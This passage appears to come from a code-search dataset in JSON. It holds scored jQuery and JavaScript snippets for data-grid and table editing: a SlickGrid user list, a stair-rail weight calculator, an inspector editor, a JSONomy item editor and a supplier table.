d[\"pwd\"] = pwd[i];\n d[\"email\"] = email[i];\n d[\"level\"] = level[i];\n }\n \n dataView = new Slick.Data.DataView({ inlineFilters: true });\n \n grid = new Slick.Grid(\"#usrGrid\", dataView, columns, options);\n \n grid.onClick.subscribe(function (e, args) {\n if ($j(e.target).hasClass(\"toggle\")) {\n var item = dataView.getItem(args.row);\n if (item) {\n if (!item._collapsed) {\n item._collapsed = true;\n } else {\n item._collapsed = false;\n }\n dataView.updateItem(item.id, item);\n }\n e.stopImmediatePropagation();\n }\n });\n \n grid.setSelectionModel(new Slick.RowSelectionModel());\n \n var pager = new Slick.Controls.Pager(dataView, grid, $j(\"#pager\"));\n var columnpicker = new Slick.Controls.ColumnPicker(columns, grid, options);\n \n \n // move the filter panel defined in a hidden div into grid top panel\n \n $j(\"#searchBox\")\n .appendTo(grid.getTopPanel())\n .show();\n \n grid.onCellChange.subscribe(function (e, args) {\n dataView.updateItem(args.item.id, args.item);\n });\n \n \n grid.onAddNewRow.subscribe(function (e, args) {\n var item = {\"num\": data.length, \"id\": \"new_\" + (Math.round(Math.random() * 10000)), \"title\": \"New task\", \"duration\": \"1 day\", \"percentComplete\": 0, \"start\": \"01/01/2009\", \"finish\": \"01/01/2009\", \"effortDriven\": false};\n $j.extend(item, args.item);\n dataView.addItem(item);\n });\n \n grid.onKeyDown.subscribe(function (e) {\n // select all rows on ctrl-a\n if (e.which != 65 || !e.ctrlKey) {\n return false;\n }\n \n var rows = [];\n for (var i = 0; i < dataView.getLength(); i++) {\n rows.push(i);\n }\n \n grid.setSelectedRows(rows);\n e.preventDefault();\n });\n \n grid.onSort.subscribe(function (e, args) {\n sortdir = args.sortAsc ? 1 : -1;\n sortcol = args.sortCol.field;\n \n if ($j.browser.msie && $j.browser.version <= 8) {\n // using temporary Object.prototype.toString override\n // more limited and does lexicographic sort only by default, but can be much faster\n // use numeric sort of % and lexicographic for everything else\n dataView.fastSort(sortcol, args.sortAsc);\n } else {\n // using native sort with comparer\n // preferred method but can be very slow in IE with huge datasets\n dataView.sort(comparer, args.sortAsc);\n }\n });\n \n // wire up model events to drive the grid\n dataView.onRowCountChanged.subscribe(function (e, args) {\n grid.updateRowCount();\n grid.render();\n });\n \n dataView.onRowsChanged.subscribe(function (e, args) {\n grid.invalidateRows(args.rows);\n grid.render();\n });\n \n dataView.onPagingInfoChanged.subscribe(function (e, pagingInfo) {\n var isLastPage = pagingInfo.pageNum == pagingInfo.totalPages - 1;\n var enableAddRow = isLastPage || pagingInfo.pageSize == 0;\n var options = grid.getOptions();\n \n if (options.enableAddRow != enableAddRow) {\n grid.setOptions({enableAddRow: enableAddRow});\n }\n });\n \n \n var h_runfilters = null;\n \n // wire up the search textbox to apply the filter to the model\n $j(\"#txtSearch\").keyup(function (e) {\n Slick.GlobalEditorLock.cancelCurrentEdit();\n \n // clear on Esc\n if (e.which == 27) {\n this.value = \"\";\n }\n \n searchString = this.value;\n updateFilter();\n });\n \n function updateFilter() {\n dataView.setFilterArgs({\n searchString: searchString\n });\n dataView.refresh();\n }\n \n // initialize the model after all the events have been hooked up\n dataView.beginUpdate();\n dataView.setItems(data);\n dataView.setFilterArgs({\n searchString: searchString\n });\n dataView.setFilter(myFilter);\n dataView.endUpdate();\n \n \n // if you don't want the items that are not visible (due to being filtered out\n // or being on a different page) to stay selected, pass 'false' to the second arg\n dataView.syncGridSelection(grid, true);\n}", "title": "" }, { "docid": "dcf0813eb235a061fb49152ec53be4cf", "score": "0.5946126", "text": "function bindTable()\n {\n \tvar RowNoForAddEdit;\n \t\n \tif(isEdit == true)\n \t{\n \t\tRowNoForAddEdit = editRowNo;\n \t}\n \telse\n \t{ \t\t\n \t\tRowNo = RowNo + 1; \t\t\n \t\tRowNoForAddEdit = RowNo;\n \t} \t\n \t\n \tvar Shape = $(\"#drpShape\").find(\"option:selected\").text(); \n \tvar StairRailProfile = $(\"#drpStairRailProfile\").find(\"option:selected\").text(); \n \tvar StairRailPostProfile = $(\"#drpStairRailPostProfile\").find(\"option:selected\").text(); \t\n \tvar MaterialGrade = $(\"#drpMaterialGrade\").find(\"option:selected\").text(); \t\n \tvar EndReturnType = $(\"#drpEndReturnType\").find(\"option:selected\").text(); \n \tvar Quantity = $(\"#txtQuantity\").val();\n \t\n \tvar StairRailLenght_Feet = $(\"#txtStairRailLengthInFeet\").val(); \t\n \tvar StairRailLenght_Inch = $(\"#drpStairRailLengthInInch\").find(\"option:selected\").text(); \t\n \tvar StairRailLenght_Fraction = $(\"#drpStairRailLengthInFraction\").find(\"option:selected\").text();\n \t\n \tvar StairRailLenght = feetInchFormater(StairRailLenght_Feet , StairRailLenght_Inch ,StairRailLenght_Fraction);\n \t\n \tvar PostSpacingLenght_Feet = $(\"#txtPostSpacingLengthInFeet\").val(); \t\n \tvar PostSpacingLenght_Inch = $(\"#drpPostSpacingLengthInInch\").find(\"option:selected\").text(); \t\n \tvar PostSpacingLenght_Fraction = $(\"#drpPostSpacingLengthInFraction\").find(\"option:selected\").text();\n \t\n \tvar PostSpacingLenght = feetInchFormater(PostSpacingLenght_Feet,PostSpacingLenght_Inch,PostSpacingLenght_Fraction);\n \t\n \tvar ConnectionType = $(\"#ConnectionTypeHandR\").find(\"option:selected\").text();\n \t\n \tvar ConnectionProfile = \"\", ConnectionWeldType= \"\" , \n \t\tConnectionWeldSize = \"\", ConnectionBoltGrade=\"\", \n \t\tConnectionBoltDia = \"\",ConnectionNoOfBolts = \"\" ;\n \t\n \tvar Clip_Angle_Profile=\"\", Plate_Thickness_Fra = \"\", Plate_Thickness_Dec = \"\", BoltDiaDecimal = \"\", WeldSizeDecimal = \"\";\n \t \t\n \tif(ConnectionType == \"Clip Angle\" || ConnectionType == \"WT\")\n \t{\n \t\n \t\tConnectionProfile = $(\"#drpClipAngleProfile\").find(\"option:selected\").text(); \n \t\tClip_Angle_Profile = ConnectionProfile;\n \t\t\n \t\tConnectionWeldType = $(\"#drpClipAngleWeldType\").find(\"option:selected\").text(); \t\t\n \t\tConnectionWeldSize = $(\"#drpClipAngleWeldSize\").val() == \"\" ? \"\" : $(\"#drpClipAngleWeldSize\").find(\"option:selected\").text() + '\"';\n \t\t\n \t\tConnectionBoltGrade = $(\"#drpClipAngleBoltGrade\").find(\"option:selected\").text(); \t\t\n \t\tConnectionBoltDia = $(\"#drpClipAngleBoltDia\").find(\"option:selected\").text() + '\"'; \n \t\t\n \t\tBoltDiaDecimal = $(\"#drpClipAngleBoltDia\").val();\n \t\tConnectionNoOfBolts = $(\"#drpClipAngleNoOfBoltRows\").find(\"option:selected\").text(); \t\t\n \t}\n \telse if(ConnectionType == \"Directly Welded\")\n \t{\n \t\tConnectionWeldType = $(\"#drpDirectlyWeldedWeldType\").find(\"option:selected\").text(); \t\t\n \t\tConnectionWeldSize = $(\"#drpDirectlyWeldedWeldSize\").val() == \"\" ? \"\" : $(\"#drpDirectlyWeldedWeldSize\").find(\"option:selected\").text() +'\"';\n \t\t\n \t\tWeldSizeDecimal = $(\"#drpDirectlyWeldedWeldSize\").val();\n \t}\n \t\n \telse if(ConnectionType == \"End Plate\")\n \t{\n \t\tConnectionProfile = \"PL\" + $(\"#drpEndPlateThickness\").find(\"option:selected\").text() + '\"X3 1/2\"'; \n \t\tPlate_Thickness_Fra = $(\"#drpEndPlateThickness\").find(\"option:selected\").text();\n \t\tPlate_Thickness_Dec = $(\"#drpEndPlateThickness\").val();\n \t\t\n \t\tConnectionWeldType = $(\"#drpEndPlateWeldType\").find(\"option:selected\").text(); \n \t\tConnectionWeldSize = $(\"#drpEndPlateWeldSize\").val() == \"\" ? \"\" : $(\"#drpEndPlateWeldSize\").find(\"option:selected\").text() +'\"'; \n \t\t\n \t\tConnectionBoltGrade = $(\"#drpEndPlateBoltGrade\").find(\"option:selected\").text(); \t\t\n \t\tConnectionBoltDia = $(\"#drpEndPlateBoltDia\").find(\"option:selected\").text() + '\"'; \t\t\n \t\tConnectionNoOfBolts = $(\"#drpEndPlateNoOfBoltRows\").find(\"option:selected\").text();\n \t\t\n \t}\n \t\n \tvar RefernceDrawing = $(\"#drpReferenceDrawing\").val();\n \t\n \t//--------------------------------- Caluclation ----------------------------------\n \t\n \tvar StairRailProfileWeight = $(\"#drpStairRailProfile\").val().split(\",\");\n \t\n \tvar HandFeetVal = StairRailLenght_Feet * 12;\n \tvar HandInchVal = $(\"#drpStairRailLengthInInch\").val();\n \tvar HandFractionVal = $(\"#drpStairRailLengthInFraction\").val();\n \t\n \tvar Total_StairRailLength = parseFloat(HandFeetVal) + parseFloat(HandInchVal) + parseFloat(HandFractionVal);\n \t\n \tvar PostSpacingFeetVal = PostSpacingLenght_Feet * 12;\n \tvar PostSpacingInchVal = $(\"#drpPostSpacingLengthInInch\").val();\n \tvar PostSpacingFractionVal = $(\"#drpPostSpacingLengthInFraction\").val();\n \t\n \tvar Total_PostSpacingLength = parseFloat(PostSpacingFeetVal) + parseFloat(PostSpacingInchVal) + parseFloat(PostSpacingFractionVal);\n \t\n \tvar NoOfPosts = 0;\n \t\n \tvar HorizontalWeight = (parseFloat(StairRailProfileWeight[0]) * parseFloat(Total_StairRailLength) * 2)/12;\n \t\n \tif(Total_StairRailLength == Total_PostSpacingLength)\n \t{\n \t\tNoOfPosts = 2;\n \t}\n \telse\n \t{\n \t\tNoOfPosts = parseInt(Total_StairRailLength/Total_PostSpacingLength) + 1;\n \t\t\n \t}\n \t\n \tvar StairRailPostProfileWeight = $(\"#drpStairRailPostProfile\").val().split(\",\"); \t\n \tvar WeightOfOneVerticalPost = parseFloat(StairRailPostProfileWeight[0]) * 3.5;\n \t\n \tvar TotalWeightOfVerticalPost = parseFloat(WeightOfOneVerticalPost * NoOfPosts); \t\n \t \t\n \tvar MemberWeight_Lbs = (HorizontalWeight + TotalWeightOfVerticalPost) * parseInt(Quantity);\n \t\n \tvar MemberWeight_Tons = MemberWeight_Lbs/2000; \t \t\n \t\n \t//--------------------------------- End Caluclation ----------------------------------\n \t\n \t\n \t\n \tif(isEdit == true)\n \t{\n \t\t$('#tableStairrails').dataTable().fnUpdate(\n \t\t\t['<label class=\"custom-control custom-checkbox\" >'+\n \t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n \t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n \t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>',\n \t\t\t RowNoForAddEdit, Shape,\n \t\t\t StairRailProfile,StairRailPostProfile, MaterialGrade,\n \t\t\t StairRailLenght, PostSpacingLenght, Quantity,\n \t\t\t MemberWeight_Lbs.toFixed(3), MemberWeight_Tons.toFixed(3), \t\t\t \t\t\t \n \t\t\t ConnectionType,ConnectionProfile,ConnectionBoltGrade, ConnectionBoltDia, \t\t\t \n \t\t\t ConnectionNoOfBolts, ConnectionWeldType, ConnectionWeldSize,\n \t\t\t RefernceDrawing,StairRailLenght_Feet, \t\t\t \n \t\t\t StairRailLenght_Inch,StairRailLenght_Fraction,PostSpacingLenght_Feet,\n \t\t\t PostSpacingLenght_Inch,PostSpacingLenght_Fraction,\n \t\t\t Clip_Angle_Profile,\n \t\t\t Plate_Thickness_Fra,\n \t\t\t Plate_Thickness_Dec, \t\t\t \n \t\t\t WeldSizeDecimal,\n \t\t\t BoltDiaDecimal], document.getElementById(\"row\" + editRowNo));\n \t\n \t}\n \telse\n \t{\n \tvar DataRow = '<tr id=\"row' + RowNoForAddEdit +'\"><td class=\"text-center\">'+\n\t\t\t\t\t\t\t\t'<label class=\"custom-control custom-checkbox\" >'+\n\t\t\t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>'+\n\t\t\t\t\t\t\t '</td>' +\n\t\t\t\t\t '<td>'+ RowNoForAddEdit + '</td>' +\n\t\t\t\t\t '<td>'+ Shape + '</td>' +\n\t\t\t\t\t '<td>'+ StairRailProfile + '</td>'+\n\t\t\t\t\t '<td>'+ StairRailPostProfile + '</td>'+\n\t\t\t\t\t '<td>'+ MaterialGrade + '</td>'+\n\t\t\t\t\t '<td>'+ StairRailLenght + '</td>'+\n\t\t\t\t\t '<td>'+ PostSpacingLenght + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ Quantity + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ MemberWeight_Lbs.toFixed(3) +'</td>' + \n\t\t\t\t\t\t\t '<td>'+ MemberWeight_Tons.toFixed(3) +'</td>'+\n\t\t\t\t\t '<td>'+ ConnectionType + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ ConnectionProfile + '</td>'+\n\t\t\t\t\t '<td>'+ ConnectionBoltGrade + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ ConnectionBoltDia + '</td>' +\t\t\t\t \n\t\t\t\t\t \t '<td>'+ ConnectionNoOfBolts + '</td>' +\n\t\t\t\t\t\t\t '<td>'+ ConnectionWeldType + '</td>' +\n\t\t\t\t\t\t\t '<td>'+ ConnectionWeldSize + '</td>' + \n\t\t\t\t\t\t\t '<td>'+ RefernceDrawing + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairRailLenght_Feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairRailLenght_Inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairRailLenght_Fraction + '</td>' + \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PostSpacingLenght_Feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PostSpacingLenght_Inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PostSpacingLenght_Fraction + '</td>' + \t\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ Clip_Angle_Profile + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ Plate_Thickness_Fra + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ Plate_Thickness_Dec + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ WeldSizeDecimal + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ BoltDiaDecimal + '</td>' + \n\t\t\t\t\t\t '</tr>' ;\n \t\n \tstairRailtable.row.add($(DataRow)).draw(false); \n \t}\n \t\n \tconstructJsonArrayFromTable();\n \t\n \tisEdit = false;\n \t$('.addTR').text('Add');\n \t\n }", "title": "" }, { "docid": "b42d5a164e7e6a36986fb0aff21820dd", "score": "0.5945824", "text": "function j2HTMLCreateNewTableRow(data) {\n\n var updateButton = false;\n var deleteButton = false;\n\n if (funUpdate !== false) {\n updateButton = true;\n }\n if (funDelete !== false) {\n deleteButton = true;\n }\n\n j2HTML.Modal({\n\n Data: data,\n Heading: 'Insert',\n Display: 'TextBox',\n TableID: tableID,\n CreateFunction: funCreate,\n //UpdateButton: updateButton,\n //DeleteButton: deleteButton\n\n }).ShowModal();\n}", "title": "" }, { "docid": "570cc78af4563ed8dbb54f6b96aea722", "score": "0.5943593", "text": "function addConTableRow() {\n var $tableRow = $('tr.contact-row:nth-child(3)');\n var $clonedRow = $tableRow.clone().show();\n $('#stm-con').append($clonedRow);\n }", "title": "" }, { "docid": "498c4d9ee423b6101f895e1170f2dc9f", "score": "0.59423727", "text": "function prepareEditInspectorTable(){\n\t\n\tvar data = {\n\t\t\"request\" : \"getInspectors\"\n\t};\n\tconsole.log(data);\n\tvar getInspectors = $.ajax({url : 'script/server.php', method: 'GET', data : data, dataType:'json'});\n\t\n\tgetInspectors.success(function(data){\n\t\tconsole.log(data);\n\t\t$(\"#editInspectorTable tr:not(:first-child)\").remove();\n\t\tfor(count in data){\n\t\t\tvar userRowID = \"inspectorRow\" + count;\n\t\t\t$(\"#editInspectorTable\").append(\"<tr id='\" + userRowID + \"'></tr>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='inspectorID'>\" + data[count]['InspectorId'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='firstName'>\" + data[count]['FirstName'] + \"</td>\");\n\t\t\t\n\t\t\t$(\"#\" + userRowID).append(\"<td class='lastName'>\" + data[count]['LastName'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='email'>\" + data[count]['Email'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='phone'>\" + data[count]['Phone'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='cell'>\" + data[count]['Cell'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td><input type='button' class='editInspectorRow' value='Edit Inspector'></input></td>\");\n\t\t}\n\t\t\n\t});\n\t\n\tgetInspectors.complete(function(){\n\t\t$(\"#editInspectorContainer\").fadeIn();\n\t\t\n\t\t$(\".editInspectorRow\").on(\"click\", function(){\n\t\t\t\n\t\t\t//entering edit mode\n\t\t\tif($(this).parent().siblings().children('input').length === 0){\n\t\t\t\t$(this).attr(\"value\", \"Finish\");\n\t\t\t\tvar currentFirstName = $(this).parent().siblings('.firstName').text();\n\t\t\t\tvar currentLastName = $(this).parent().siblings('.lastName').text();\n\t\t\t\tvar currentEmail = $(this).parent().siblings('.email').text();\n\t\t\t\tvar currentPhone = $(this).parent().siblings('.phone').text();\n\t\t\t\tvar currentCell = $(this).parent().siblings('.cell').text();\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.firstName').empty();\n\t\t\t\t$(this).parent().siblings('.firstName').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.firstName').children(\"input\").val(currentFirstName);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.lastName').empty();\n\t\t\t\t$(this).parent().siblings('.lastName').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.lastName').children(\"input\").val(currentLastName);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.email').empty();\n\t\t\t\t$(this).parent().siblings('.email').append(\"<input type='text' value='\" + currentEmail + \"'>\");\n\t\t\t\t$(this).parent().siblings('.email').children(\"input\").val(currentEmail);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.phone').empty();\n\t\t\t\t$(this).parent().siblings('.phone').append(\"<input type='text' value='\" + currentPhone + \"'>\");\n\t\t\t\t$(this).parent().siblings('.phone').children(\"input\").val(currentPhone);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.cell').empty();\n\t\t\t\t$(this).parent().siblings('.cell').append(\"<input type='text' value='\" + currentCell + \"'>\");\n\t\t\t\t$(this).parent().siblings('.cell').children(\"input\").val(currentCell);\n\t\t\t}\n\t\t\t//leaving edit\n\t\t\telse{\n\t\t\t\t$(this).attr(\"value\", \"Edit Inspector\");\n\t\t\t\t$(this).parent().siblings('input').empty();\n\t\t\t\t\n\t\t\t\tvar currentFirstName = $(this).parent().siblings(\".firstName\").children(\"input\").val();\n\t\t\t\tvar currentLastName = $(this).parent().siblings(\".lastName\").children(\"input\").val();\n\t\t\t\tvar currentEmail = $(this).parent().siblings(\".email\").children(\"input\").val();\n\t\t\t\tvar currentPhone = $(this).parent().siblings(\".phone\").children(\"input\").val();\n\t\t\t\tvar currentCell = $(this).parent().siblings(\".cell\").children(\"input\").val();\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.firstName').empty();\n\t\t\t\t$(this).parent().siblings('.firstName').text(currentFirstName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.lastName').empty();\n\t\t\t\t$(this).parent().siblings('.lastName').text(currentLastName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.email').empty();\n\t\t\t\t$(this).parent().siblings('.email').text(currentEmail);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.phone').empty();\n\t\t\t\t$(this).parent().siblings('.phone').text(currentPhone);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.cell').empty();\n\t\t\t\t$(this).parent().siblings('.cell').text(currentCell);\n\t\t\t\t\n\t\t\t}\n\t\t});\n\t\t\n\t\t$(\"#btnSubmitInspectorUpdate\").on(\"click\", function(){\n\t\t\tsubmitInspectorUpdate();\n\t\t});\n\t});\n\t\n\tgetInspectors.error(function (jqXHR, textStatus, errorThrown){\n\t\t\talert('Error with the connection: ' + textStatus + \" \" + errorThrown);\n\t});\n\t\n}", "title": "" }, { "docid": "da7390810d4c868120633934f024dcfe", "score": "0.5937905", "text": "function init_data(){\n\n // get datacollection of JSONomy datasource\n JSN = json_load( $().source_path() + \"/\" + SOURCE.id + \".json\");\n\n // reset items list\n $(\".items .row:nth-child(2)\").html(\"\");\n\n // add \"add new item\" item\n $(\".items > .row:nth-child(2)\").append(\"<div id='item_new' class='col-md-2 col-sm-3 col-4' data-toggle='modal' data-target='#Modal'><div><font>+</font></div><div>ADD NEW ITEM</div></div>\");\n\n // add items as icon in section \"items\"\n JSN.forEach(\n function(v,i){\n var img=( v.icon != \"\" ) ? \"<img src='\" + v.icon + \"'>\" : \"\";\n var colr=( v.color != \"\" ) ? \" style='background:\" + v.color + \";'\" : \"\";\n $(\".items > .row:nth-child(2)\").append(\"<div id='item_\" + i + \"' class='col-md-2 col-sm-3 col-4' data-toggle='modal' data-target='#Modal'><div\" + colr + \">\" + img + \"</div><div>\" + v.name + \"</div></div>\");\n }\n );\n\n // show count of items in tab \"items\"\n $(\"#items\").text(\"items (\" + JSN.length + \")\");\n\n // item click show details as editable table\n $(\".items .row:nth-child(2) > div\").click(\n function(){\n\n // hide request changes button\n $(\"#request_changes\").toggleClass(\"d-none\",true);\n\n // reset table output\n $(\".modal-body\").html(\"\");\n\n // show table header\n if( $(this)[0].id.slice(5) == \"new\" ){\n var item_index = $(this)[0].id.slice(5);\n REQ=[];\n $(\".modal-header\").html(\"<div class='row' id='item__new'><div class='col'><h2>Add new \" + SOURCE.item_title + \" <b>...</b><h2></div></div><button type='button' class='close' data-dismiss='modal' aria-label='Close'><span aria-hidden='true'>&times;</span></button>\");\n\n } else {\n var item_index = parseInt( $(this)[0].id.slice(5) );\n // get existing requested changes\n REQ=json_load( $().source_path() + \"/get_open_request.php?id=\" + JSN[item_index].id );\n $(\".modal-header\").html(\"<div class='row' id='item__\" + item_index + \"'><div class='col'><h2>\" + (( JSN[item_index].icon != \"\" ) ? \"<img width='100' height='100' src='\" + JSN[item_index].icon + \"'>\" : \"\" ) + \" \" + SOURCE.item_title + \" <b>\" + JSN[item_index].name + \"</b><h2></div></div><button type='button' class='close' data-dismiss='modal' aria-label='Close'><span aria-hidden='true'>&times;</span></button>\");\n\n }\n\n // append all item properties in table body\n append_item(SOURCE.properties,1,item_index);\n\n // append legend info after last item property\n $(\".modal-body\").append(\"<div class='row'><div class='col-1'></div><div class='col-md-2 col-4 legend'>* mandatory<br>** readonly</div></div>\");\n\n // initialize request changes function\n $(\"#request_changes\").click(\n\n function(){\n\n // ignore further clicks\n if( $(\"#request_changes\").hasClass(\"d-none\") ) return;\n\n // hide request button\n $(\"#request_changes\").toggleClass(\"d-none\",true);\n $(\"#Modal\").modal('hide');\n\n // init PROPERTY object for users changes\n var PROPERTY={};\n\n // get index of item\n var item_index;\n item_index = $(\".modal-header .row\")[0].id.slice(6);\n\n // if item is \"add new item\" then set all properties as changed ( class \"unapproved\" )\n if( item_index == \"new\" ) $(\".itemdata\").toggleClass(\"unapproved\",true);\n\n // check changes, if != to old entry then set it as changed ( class \"unapproved\" )\n $.each( $(\".itemdata.unapproved\"),\n function(i,v){\n\n // get property id\n var field_id =$(v)[0].id.slice(2);\n\n // get new entry\n var new_entry=$($(v)[0]).text();\n\n // get index of item\n item_index=parseInt( item_index );\n\n // get old entry\n var orig_entry=eval(\"JSN[\" + item_index + \"].\" + field_id );\n if( orig_entry == undefined ) orig_entry = \"undefined\";\n\n // if entry is not numeric ( string ) then trim it\n if( ! $.isNumeric(orig_entry) ) orig_entry=orig_entry.trim();\n\n if( ! $.isNumeric(new_entry) ){\n new_entry=new_entry.trim();\n } else {\n // convert numeric ( string ) to numeric format\n new_entry=new_entry*1;\n }\n\n // set class \"unapproved\" if new and old entry are different\n if( orig_entry != new_entry || item_index == \"new\" ){\n $($(v)[0]).toggleClass(\"unapproved\",false).toggleClass(\"undefined\",false).toggleClass(\"waitapproval\",true);\n // store new entry in PROPERTY object to request changes in later step\n PROPERTY[field_id]=new_entry;\n }\n }\n );\n\n // create CHG object and append item id ( as string ) and all changed properties ( as object )\n var CHG={\"id\":(( item_index == \"new\" ) ? $(\"#f_id\").text() : JSN[item_index].id ),\"properties\":PROPERTY};\n\n // POST \"CHG\" object to JSONomy datasource\n $.post( $().source_path() + \"/request_changes.php\",\n {\n CHG: JSON.stringify(CHG)\n },\n function(data, status){\n if( status != \"success\") alert(\"Data: \" + data + \"\\nStatus: \" + status);\n }\n );\n\n // reload list of all requests\n get_requests(false);\n\n }\n );\n\n // if item is \"add new item\" then check every property entry initially\n if( item_index == \"new\" ){\n $.each($(\"[contenteditable]\"),\n function(i,v){\n item_keyup(v);\n }\n );\n }\n\n // check new entry after keyup event, wait 1 second and skip check if further keyup follows until the 1 second\n setTimeout(function(){\n $(\"[contenteditable]\").keyup(\n function(){\n item_keyup($(this));\n }\n );\n },1000);\n }\n );\n\n}", "title": "" }, { "docid": "83bc45045497811daa0499d149653d14", "score": "0.59199524", "text": "function displayData()\n{\n $(\"#message\").html(\"<div style = color:red>\" + \"\");\n $(\"#TableBody\").empty();\n \n for (var i in model.data)\n {\n var row = model.data[i];\n var id = row.SnippetID;\n var creatorID = row.CreatorID;\n\t\t$(\"#TableBody\").append(\"<tr>\"+\n\t\t\"<td>\"+row.Creator+\"</td>\"+\n\t\t\"<td>\"+row.Language+\"</td>\"+\n\t\t\"<td>\"+row.Description+\"</td>\"+\n\t\t\"<td><a cd='\"+row.Code +\"' desc='\"+row.Description \n\t\t +\"' href='#' class='codeBtn btn-info btn-sm'>View</a>\"+\" \"+\n\t\t (usrID==creatorID?\n \t\t \"<a id='\"+id+\"'cd='\"+row.Code +\"' desc='\"+row.Description +\"' lang='\"+row.LangID\n \t\t +\"' href='#' class='displayEditForm btn-info btn-sm'>Edit</a>\"+\" \"+\t\n \t\t\"<a id='\"+id \n \t\t +\"' href='#' class='delBtn btn-info btn-sm'>Delete</a>\":\"\")+\n\t\t\"</td>\"+\t\n\t\t\"</tr>\");\n }\n}", "title": "" }, { "docid": "7555c2393b95e590f82f875cba0306b1", "score": "0.5915325", "text": "addContact(){\n if (this.tabNuovoContatto.nome != \"\") {\n\n this.contacts.splice(this.contacts.length-1,0,\n {\n name: this.tabNuovoContatto.nome,\n avatar: \"_0\",\n visible: true,\n bg: \"\",\n messages: []\n }\n );\n this.tabNuovoContatto.nome = \"\";\n this.tabNuovoContatto.display = false;\n }\n }", "title": "" }, { "docid": "189673f3f287f6ba033c3cf4270a09ee", "score": "0.59148383", "text": "function crearTablaProveedores(){\n\tjQuery('#listadoProveedores').css (\"display\", \"\");\n\tjQuery('#listadoProveedores').css (\"width\",\"100%\");\n\n\tobjectDataTable.url = \"findProveedores.htm\"; \t\n\tobjectDataTable.columns = [{\"sWidth\" : '10%', \"mDataProp\" : \"codProveedor\"},\n\t {\"sWidth\" : '65%',\"mDataProp\" : \"descProveedor\"},\n\t {\"sWidth\" : '10%',\"mDataProp\" : \"cifProveedor\"},\n\t {\"sWidth\" : '10%',\"mDataProp\" : \"activo\", \"mRender\": changeCellClass},\n\t {\"sWidth\" : '4%',\"mDataProp\" : \"activoSGDR\", \"mRender\": changeCellClass},\n\t {\"sWidth\" : '1%',\"mDataProp\" : \"icono\"}\n\t ];\n \n\tobjectDataTable.fnServerData = \n\t\tfunction(sSource, aoData, fnCallback) {\n\t\t jQuery.ajax({\n\t\t\t\tdataType : \"json\",\n\t\t\t\turl : sSource,\n\t\t\t\tdata : {\n\t\t\t\t codProveedor: jQuery('#codProveedor').val(),\n\t\t\t\t descProveedor: jQuery('#descProveedor').val(),\n\t\t\t\t cif: jQuery('#cif').val()\n\t\t\t\t},\n\t\t\t\tsuccess : function(json) {\n\t\t\t\t\tif (json != \"\"){\n\t\t\t\t\t\tjQuery('#listadoProveedores').css(\"display\", \"block\");\n\t\t\t\t\t}else{\n\t\t\t\t\t\tjQuery('#listadoProveedores').css(\"display\", \"none\");\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tjQuery('#listadoProveedores').attr('style', 'width:100%');\n\t\t\t\t fnCallback(json);\n\t\t\t\t}\n\t\t });\n\t\t};\n\tobjectDataTable.fnCreatedRow = \n\t\tfunction(nRow, aoData, iDataIndex) {\n\t\t var data = aoData;\n\t\t if (data.codProveedor.substring (0,1) != \"*\" && data.codProveedor.substring (0,1) != \"#\"){\n\t\t \tjQuery('td:eq(5)', nRow).append(jQuery(\"<div>\").addClass( \"icon-delete\" ));\n\t\t jQuery('td:eq(5)', nRow).bind({click:\t\n\t \t\tfunction(){\n\t \t \t\tshowModal(\"¿Está seguro que quiere eliminar el proveedor \" + aoData.codProveedor + \"?\", borrarProveedor, aoData.codProveedor);\n\t \t\t}\n\t \t});\n\t\t jQuery('td:lt(5)', nRow).bind({\n\t\t \tclick: function(event) {\n\t\t \t\t//Con el click se accede a la pantalla detalle\n\t\t 